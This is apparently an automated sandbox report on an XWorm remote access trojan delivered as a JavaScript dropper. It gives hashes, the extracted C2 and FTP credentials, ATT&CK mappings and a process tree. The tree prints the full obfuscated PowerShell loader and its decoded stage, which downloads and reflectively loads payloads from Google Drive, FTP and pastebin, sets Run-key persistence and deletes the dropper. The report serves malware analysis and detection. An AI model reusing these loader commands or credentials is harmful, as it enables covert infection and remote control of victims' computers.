xworm | 8b727dffabda06723791acd0d96cbf04abdd8fd37c88fd98108f6745c49ee03b

General

Target

8b727dffabda06723791acd0d96cbf04abdd8fd37c88fd98108f6745c49ee03b.js
Size

11KB
MD5

2453ab0c14a3588a2d51493c1f93ca2e
SHA1

43cce83b933888b0c9ff11f16c91f41798f3aa2a
SHA256

8b727dffabda06723791acd0d96cbf04abdd8fd37c88fd98108f6745c49ee03b
SHA512

063912d001627c2e20d94bea2009e946bfa9eb332d1e35fe5daa9fb21919e14732b87a774e0dfc2e5dee53952510050a8c0038e7cebc9ffced5f0dcfe2c1587c
SSDEEP

192:D1awy9Hcu1ANhCI7gRw8nqoph72IfCDcvkcMNhCIhCrG7ckMNNXEdyn40coIzcsj:D2RcumNMkwwToph72IqDcscMNMPrG7iQ

Score

10^/10

xworm defense_evasion discovery execution persistence rat trojan

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=

Extracted

Credentials

Protocol: ftp
Host:
ftp.desckvbrat.com.br
Port:
21
Username:
desckvbrat1
Password:
developerpro21578Jp@@

Extracted

Family

xworm

Version

5.0

C2

yoda2024.sytes.net:43831

Mutex

J4rIgEZp1s66p2yZ

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1820-57-0x0000000000400000-0x0000000000410000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 7 IoCs

flow	pid	Process
5	4252	powershell.exe
22	4252	powershell.exe
26	4252	powershell.exe
27	4252	powershell.exe
30	4252	powershell.exe
31	4252	powershell.exe
33	2700	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation	wscript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_v = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman \". 'C:\\Users\\Admin\\AppData\\Local\\Microsoft\\LocalLow\\System Update\\eknub.ps1' \";exit"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2424	powershell.exe
2700	powershell.exe
4112	powershell.exe
4252	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
33	pastebin.com
29	pastebin.com
30	pastebin.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2700 set thread context of 1820	2700	powershell.exe	99

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
4112	powershell.exe
4112	powershell.exe
4252	powershell.exe
4252	powershell.exe
4252	powershell.exe
2424	powershell.exe
2424	powershell.exe
2700	powershell.exe
2700	powershell.exe
2700	powershell.exe
2700	powershell.exe
2700	powershell.exe
1820	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4112	powershell.exe
Token: SeDebugPrivilege	4252	powershell.exe
Token: SeDebugPrivilege	2424	powershell.exe
Token: SeDebugPrivilege	2700	powershell.exe
Token: SeDebugPrivilege	1820	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1820	RegAsm.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 1808 wrote to memory of 4112	1808	wscript.exe	84
PID 1808 wrote to memory of 4112	1808	wscript.exe	84
PID 4112 wrote to memory of 4252	4112	powershell.exe	87
PID 4112 wrote to memory of 4252	4112	powershell.exe	87
PID 4252 wrote to memory of 2424	4252	powershell.exe	94
PID 4252 wrote to memory of 2424	4252	powershell.exe	94
PID 4252 wrote to memory of 2700	4252	powershell.exe	95
PID 4252 wrote to memory of 2700	4252	powershell.exe	95
PID 4252 wrote to memory of 4412	4252	powershell.exe	96
PID 4252 wrote to memory of 4412	4252	powershell.exe	96
PID 2700 wrote to memory of 1532	2700	powershell.exe	98
PID 2700 wrote to memory of 1532	2700	powershell.exe	98
PID 2700 wrote to memory of 1532	2700	powershell.exe	98
PID 2700 wrote to memory of 1820	2700	powershell.exe	99
PID 2700 wrote to memory of 1820	2700	powershell.exe	99
PID 2700 wrote to memory of 1820	2700	powershell.exe	99
PID 2700 wrote to memory of 1820	2700	powershell.exe	99
PID 2700 wrote to memory of 1820	2700	powershell.exe	99
PID 2700 wrote to memory of 1820	2700	powershell.exe	99
PID 2700 wrote to memory of 1820	2700	powershell.exe	99
PID 2700 wrote to memory of 1820	2700	powershell.exe	99

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\8b727dffabda06723791acd0d96cbf04abdd8fd37c88fd98108f6745c49ee03b.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $fLbjh = 'JA㍿pAFUAbg㍿KAGEAIAA9ACAAJA㍿oAG8Acw㍿0AC4AVg㍿lAHIAcw㍿pAG8AbgAuAE0AYQ㍿qAG8AcgAuAEUAcQ㍿1AGEAbA㍿zACgAMgApADsASQ㍿mACAAKAAgACQAaQ㍿VAG4ASg㍿hACAAKQAgAHsAJA㍿NAGkAUg㍿JAGQAIAA9ACAAWw㍿TAHkAcw㍿0AGUAbQAuAEkATwAuAFAAYQ㍿0AGgAXQA6ADoARw㍿lAHQAVA㍿lAG0AcA㍿QAGEAdA㍿oACgAKQA7AGQAZQ㍿sACAAKAAkAE0AaQ㍿SAEkAZAAgACsAIAAnAFwAVQ㍿wAHcAaQ㍿uAC4AbQ㍿zAHUAJwApADsAJA㍿SAFkARQ㍿hAEYAIAA9ACAAJw㍿oAHQAdA㍿wAHMAOgAvAC8AZA㍿yAGkAdg㍿lAC4AZw㍿vAG8AZw㍿sAGUALg㍿jAG8AbQAvAHUAYwA/AGUAeA㍿wAG8Acg㍿0AD0AZA㍿vAHcAbg㍿sAG8AYQ㍿kACYAaQ㍿kAD0AJwA7ACQAcw㍿CAGkAaQ㍿XACAAPQAgACQAZQ㍿uAHYAOg㍿QAFIATw㍿DAEUAUw㍿TAE8AUg㍿fAEEAUg㍿DAEgASQ㍿UAEUAQw㍿UAFUAUg㍿FAC4AQw㍿vAG4AdA㍿hAGkAbg㍿zACgAJwA2ADQAJwApADsAaQ㍿mACAAKAAgACQAcw㍿CAGkAaQ㍿XACAAKQAgAHsAJA㍿SAFkARQ㍿hAEYAIAA9ACAAKAAkAFIAWQ㍿FAGEARgAgACsAIAAnADEATg㍿hAHEAZA㍿OAFgAaQ㍿HAHYASQ㍿fAHEAMQ㍿SAFAAaw㍿hAHoARg㍿0AE0AeQ㍿nAG0AYQ㍿xAFQASg㍿YAHUANAAyACcAKQAgADsAfQ㍿lAGwAcw㍿lACAAewAkAFIAWQ㍿FAGEARgAgAD0AIAAoACQAUg㍿ZAEUAYQ㍿GACAAKwAgACcAMQ㍿nADEAag㍿tAFgAdQ㍿zAFgAOQ㍿tAGMAOQ㍿WAG0AaA㍿WAHIASg㍿KADIAWA㍿vAGYAWgAzAGEASw㍿fAGMATA㍿PAHQAJwApACAAOw㍿9ADsAJA㍿JAGEAbw㍿NAGkAIAA9ACAAKAAgAE4AZQ㍿3AC0ATw㍿iAGoAZQ㍿jAHQAIA㍿OAGUAdAAuAFcAZQ㍿iAEMAbA㍿pAGUAbg㍿0ACAAKQAgADsAJA㍿JAGEAbw㍿NAGkALg㍿FAG4AYw㍿vAGQAaQ㍿uAGcAIAA9ACAAWw㍿TAHkAcw㍿0AGUAbQAuAFQAZQ㍿4AHQALg㍿FAG4AYw㍿vAGQAaQ㍿uAGcAXQA6ADoAVQ㍿UAEYAOAAgADsAJA㍿JAGEAbw㍿NAGkALg㍿EAG8Adw㍿uAGwAbw㍿hAGQARg㍿pAGwAZQAoACQAVQ㍿SAEwASw㍿CACwAIAAkAE0AaQ㍿SAEkAZAAgACsAIAAnAFwAVQ㍿wAHcAaQ㍿uAC4AbQ㍿zAHUAJwApACAAOwAkAEEAVQ㍿yAEcARgAgAD0AIAAoACAAJw㍿DADoAXA㍿VAHMAZQ㍿yAHMAXAAnACAAKwAgAFsARQ㍿uAHYAaQ㍿yAG8Abg㍿tAGUAbg㍿0AF0AOgA6AFUAcw㍿lAHIATg㍿hAG0AZQAgACkAOw㍿JAHoAag㍿㍿AFEAIAA9ACAAKAAgACQATQ㍿pAFIASQ㍿kACAAKwAgACcAXA㍿VAHAAdw㍿pAG4ALg㍿tAHMAdQAnACAAKQAgADsAIA㍿wAG8Adw㍿lAHIAcw㍿oAGUAbA㍿sAC4AZQ㍿4AGUAIA㍿3AHUAcw㍿hAC4AZQ㍿4AGUAIA㍿JAHoAag㍿㍿AFEAIAAvAHEAdQ㍿pAGUAdAAgAC8Abg㍿vAHIAZQ㍿zAHQAYQ㍿yAHQAIAA7ACAAQw㍿vAHAAeQAtAEkAdA㍿lAG0AIAAnACUARA㍿DAFAASg㍿VACUAJwAgAC0ARA㍿lAHMAdA㍿pAG4AYQ㍿0AGkAbw㍿uACAAKAAgACQAQQ㍿VAHIARw㍿GACAAKwAgACcAXA㍿㍿AHAAcA㍿EAGEAdA㍿hAFwAUg㍿vAGEAbQ㍿pAG4AZw㍿cAE0AaQ㍿jAHIAbw㍿zAG8AZg㍿0AFwAVw㍿pAG4AZA㍿vAHcAcw㍿cAFMAdA㍿hAHIAdAAgAE0AZQ㍿uAHUAXA㍿QAHIAbw㍿nAHIAYQ㍿tAHMAXA㍿TAHQAYQ㍿yAHQAdQ㍿wACcAIAApACAALQ㍿mAG8Acg㍿jAGUAIAA7AHAAbw㍿3AGUAcg㍿zAGgAZQ㍿sAGwALg㍿lAHgAZQAgAC0AYw㍿vAG0AbQ㍿hAG4AZAAgACcAcw㍿sAGUAZQ㍿wACAAMQA4ADAAJwA7ACAAcw㍿oAHUAdA㍿kAG8Adw㍿uAC4AZQ㍿4AGUAIAAvAHIAIAAvAHQAIAAwACAALw㍿mACAAfQ㍿lAGwAcw㍿lACAAew㍿bAFMAeQ㍿zAHQAZQ㍿tAC4ATg㍿lAHQALg㍿TAGUAcg㍿2AGkAYw㍿lAFAAbw㍿pAG4AdA㍿NAGEAbg㍿hAGcAZQ㍿yAF0AOgA6AFMAZQ㍿yAHYAZQ㍿yAEMAZQ㍿yAHQAaQ㍿mAGkAYw㍿hAHQAZQ㍿WAGEAbA㍿pAGQAYQ㍿0AGkAbw㍿uAEMAYQ㍿sAGwAYg㍿hAGMAawAgAD0AIA㍿7ACQAdA㍿yAHUAZQ㍿9ADsAWw㍿TAHkAcw㍿0AGUAbQAuAE4AZQ㍿0AC4AUw㍿lAHIAdg㍿pAGMAZQ㍿QAG8AaQ㍿uAHQATQ㍿hAG4AYQ㍿nAGUAcg㍿dADoAOg㍿TAGUAYw㍿1AHIAaQ㍿0AHkAUA㍿yAG8AdA㍿vAGMAbw㍿sACAAPQAgAFsAUw㍿5AHMAdA㍿lAG0ALg㍿OAGUAdAAuAFMAZQ㍿jAHUAcg㍿pAHQAeQ㍿QAHIAbw㍿0AG8AYw㍿vAGwAVA㍿5AHAAZQ㍿dADoAOg㍿UAGwAcwAxADIAOwAkAGYAbQ㍿kAHUAIAA9ACAAKA㍿OAGUAdwAtAE8AYg㍿qAGUAYw㍿0ACAATg㍿lAHQALg㍿XAGUAYg㍿DAGwAaQ㍿lAG4AdAApADsAJA㍿mAG0AZA㍿1AC4ARQ㍿uAGMAbw㍿kAGkAbg㍿nACAAPQAgAFsAUw㍿5AHMAdA㍿lAG0ALg㍿UAGUAeA㍿0AC4ARQ㍿uAGMAbw㍿kAGkAbg㍿nAF0AOgA6AFUAVA㍿GADgAOwAkAGYAbQ㍿kAHUALg㍿DAHIAZQ㍿kAGUAbg㍿0AGkAYQ㍿sAHMAIAA9ACAAbg㍿lAHcALQ㍿vAGIAag㍿lAGMAdAAgAFMAeQ㍿zAHQAZQ㍿tAC4ATg㍿lAHQALg㍿OAGUAdA㍿3AG8Acg㍿rAEMAcg㍿lAGQAZQ㍿uAHQAaQ㍿hAGwAKAAnAGQAZQ㍿zAGMAaw㍿2AGIAcg㍿hAHQAMQAnACwAJw㍿kAGUAdg㍿lAGwAbw㍿wAGUAcg㍿wAHIAbwAyADEANQA3ADgASg㍿wAEAAQAAnACkAOwAkAFYAdA㍿hAEEARgAgAD0AIAAkAGYAbQ㍿kAHUALg㍿EAG8Adw㍿uAGwAbw㍿hAGQAUw㍿0AHIAaQ㍿uAGcAKAAgACcAZg㍿0AHAAOgAvAC8AZA㍿lAHMAYw㍿rAHYAYg㍿yAGEAdAAxAEAAZg㍿0AHAALg㍿kAGUAcw㍿jAGsAdg㍿iAHIAYQ㍿0AC4AYw㍿vAG0ALg㍿iAHIALw㍿VAHAAYw㍿yAHkAcA㍿0AGUAcgAvADAAMgAvAEQATA㍿MADAAMQAuAHQAeA㍿0ACcAIAApADsAJA㍿mAG0AZA㍿1AC4AZA㍿pAHMAcA㍿vAHMAZQAoACkAOwAkAGYAbQ㍿kAHUAIAA9ACAAKA㍿OAGUAdwAtAE8AYg㍿qAGUAYw㍿0ACAATg㍿lAHQALg㍿XAGUAYg㍿DAGwAaQ㍿lAG4AdAApADsAJA㍿mAG0AZA㍿1AC4ARQ㍿uAGMAbw㍿kAGkAbg㍿nACAAPQAgAFsAUw㍿5AHMAdA㍿lAG0ALg㍿UAGUAeA㍿0AC4ARQ㍿uAGMAbw㍿kAGkAbg㍿nAF0AOgA6AFUAVA㍿GADgAOwAkAFYAdA㍿hAEEARgAgAD0AIAAkAGYAbQ㍿kAHUALg㍿EAG8Adw㍿uAGwAbw㍿hAGQAUw㍿0AHIAaQ㍿uAGcAKAAgACQAVg㍿0AGEAQQ㍿GACAAKQA7AFsAQg㍿5AHQAZQ㍿bAF0AXQAgACQAUg㍿YAGkAVg㍿qAF8AWQ㍿sAHQASA㍿LACAAPQAgAFsAUw㍿5AHMAdA㍿lAG0ALg㍿DAG8Abg㍿2AGUAcg㍿0AF0AOgA6AEYAcg㍿vAG0AQg㍿hAHMAZQA2ADQAUw㍿0AHIAaQ㍿uAGcAKAAgACQAVg㍿0AGEAQQ㍿GAC4AUg㍿lAHAAbA㍿hAGMAZQAoACAAJwCTIToAkyEnACAALAAgACcAQQAnACAAKQAgACkAOw㍿bAFMAeQ㍿zAHQAZQ㍿tAC4AQQ㍿wAHAARA㍿vAG0AYQ㍿pAG4AXQA6ADoAQw㍿1AHIAcg㍿lAG4AdA㍿EAG8AbQ㍿hAGkAbgAuAEwAbw㍿hAGQAKAAgACQAUg㍿YAGkAVg㍿qAF8AWQ㍿sAHQASA㍿LACAAKQAuAEcAZQ㍿0AFQAeQ㍿wAGUAKAAgACcAQw㍿sAGEAcw㍿zAEwAaQ㍿iAHIAYQ㍿yAHkAMwAuAEMAbA㍿hAHMAcwAxACcAIAApAC4ARw㍿lAHQATQ㍿lAHQAaA㍿vAGQAKAAgACcAcA㍿yAEYAVg㍿JACcAIAApAC4ASQ㍿uAHYAbw㍿rAGUAKAAkAG4AdQ㍿sAGwALAAgAFsAbw㍿iAGoAZQ㍿jAHQAWw㍿dAF0AIAAoACAAJwA0AFcAVw㍿ZAGgAMQ㍿pAHMALw㍿3AGEAcgAvAG0Abw㍿jAC4Abg㍿pAGIAZQ㍿0AHMAYQ㍿wAC8ALwA6AHMAcA㍿0AHQAaAAnACAALAAgACcAJQ㍿EAEMAUA㍿KAFUAJQAnACwAIAAnAHQAcg㍿1AGUAJwAgACkAIAApADsAfQA7AA==';$fLbjh = $fLbjh.replace('㍿','B') ;$fLbjh = [System.Convert]::FromBase64String( $fLbjh ) ;;;$fLbjh = [System.Text.Encoding]::Unicode.GetString( $fLbjh ) ;$fLbjh = $fLbjh.replace('%DCPJU%','C:\Users\Admin\AppData\Local\Temp\8b727dffabda06723791acd0d96cbf04abdd8fd37c88fd98108f6745c49ee03b.js') ;powershell $fLbjh
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4112
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$iUnJa = $host.Version.Major.Equals(2);If ( $iUnJa ) {$MiRId = [System.IO.Path]::GetTempPath();del ($MiRId + '\Upwin.msu');$RYEaF = 'https://drive.google.com/uc?export=download&id=';$sBiiW = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $sBiiW ) {$RYEaF = ($RYEaF + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$RYEaF = ($RYEaF + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$IaoMi = ( New-Object Net.WebClient ) ;$IaoMi.Encoding = [System.Text.Encoding]::UTF8 ;$IaoMi.DownloadFile($URLKB, $MiRId + '\Upwin.msu') ;$AUrGF = ( 'C:\Users\' + [Environment]::UserName );IzjAQ = ( $MiRId + '\Upwin.msu' ) ; powershell.exe wusa.exe IzjAQ /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\8b727dffabda06723791acd0d96cbf04abdd8fd37c88fd98108f6745c49ee03b.js' -Destination ( $AUrGF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$fmdu = (New-Object Net.WebClient);$fmdu.Encoding = [System.Text.Encoding]::UTF8;$fmdu.Credentials = new-object System.Net.NetworkCredential('desckvbrat1','developerpro21578Jp@@');$VtaAF = $fmdu.DownloadString( 'ftp://[email protected]/Upcrypter/02/DLL01.txt' );$fmdu.dispose();$fmdu = (New-Object Net.WebClient);$fmdu.Encoding = [System.Text.Encoding]::UTF8;$VtaAF = $fmdu.DownloadString( $VtaAF );[Byte[]] $RXiVj_YltHK = [System.Convert]::FromBase64String( $VtaAF.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $RXiVj_YltHK ).GetType( 'ClassLibrary3.Class1' ).GetMethod( 'prFVI' ).Invoke($null, [object[]] ( '4WWYh1is/war/moc.nibetsap//:sptth' , 'C:\Users\Admin\AppData\Local\Temp\8b727dffabda06723791acd0d96cbf04abdd8fd37c88fd98108f6745c49ee03b.js', 'true' ) );};"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4252
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\\x2.ps1"
      4⤵
      Adds Run key to start application
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2424
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\eknub.ps1"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2700
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:1532
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:1820
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\8b727dffabda06723791acd0d96cbf04abdd8fd37c88fd98108f6745c49ee03b.js"
      4⤵
      PID:4412

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Indicator Removal

1

T1070

File Deletion

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\eknub.ps1

Filesize
220KB

MD5
d2b55baedc6f395c7ae16927c2fcf016

SHA1
2dc7fd16139451d224027c7372c81e6afb03e263

SHA256
25500d0369a59f197582e11658fc8f0b7c6a7add1f39eea91fcf0ed1e3090a23

SHA512
1931f0c69d69d988144e1288072aea248ed56994cdd8857b070da3cb966a35a0452df2b3b762dee36ed87fca9e1b435e04f84d46d0100ff0cdde7c4a8ba1b107

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C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\x2.ps1

Filesize
334B

MD5
248a268648507caf9191c64a197f1d41

SHA1
993df03c79e0a3f75e70eaabc603fdc937edade3

SHA256
f569d827f1c6118cea2c8d4e025c5681da59068692d063d1e23ca36f69e01aed

SHA512
d7ff3c81c7fe1a1a41843853f93f79b676f94cf7d7426e00ad51b26ad7df9ef54ec2c63f5d17bbd926aaf5bb2dd410e04cfdf01a654667b09965d99c99fd7783

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
aff57c5c51c697fe6db7a667ed9bf0e3

SHA1
da21cd728e30dc5d8973a2840ef5919d83f965ca

SHA256
613983c3b08559da98de4c799cced0b0d626c35e2065a85ba20232c5a088b1e4

SHA512
071ba086883deeffbce9d64186f8f1c7b9af733d847e5c3c6784c394b542da543132b062ddf50434a84187cb39e74326439dc3d70f14e7ceaac3cd59f8ab1409

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f4skhjvw.a4h.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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memory/1820-62-0x0000000005D80000-0x0000000005D8A000-memory.dmp

Filesize
40KB

Download
memory/1820-61-0x00000000063C0000-0x0000000006452000-memory.dmp

Filesize
584KB

Download
memory/1820-60-0x0000000005E10000-0x00000000063B4000-memory.dmp

Filesize
5.6MB

Download
memory/1820-59-0x0000000005420000-0x00000000054BC000-memory.dmp

Filesize
624KB

Download
memory/1820-57-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/2700-56-0x00000273A51E0000-0x00000273A51EA000-memory.dmp

Filesize
40KB

Download
memory/4112-0-0x00007FF96BC53000-0x00007FF96BC55000-memory.dmp

Filesize
8KB

Download
memory/4112-43-0x00007FF96BC50000-0x00007FF96C711000-memory.dmp

Filesize
10.8MB

Download
memory/4112-12-0x00007FF96BC50000-0x00007FF96C711000-memory.dmp

Filesize
10.8MB

Download
memory/4112-11-0x00007FF96BC50000-0x00007FF96C711000-memory.dmp

Filesize
10.8MB

Download
memory/4112-6-0x000001FA60A70000-0x000001FA60A92000-memory.dmp

Filesize
136KB

Download
memory/4252-22-0x0000018372CE0000-0x0000018372CEA000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads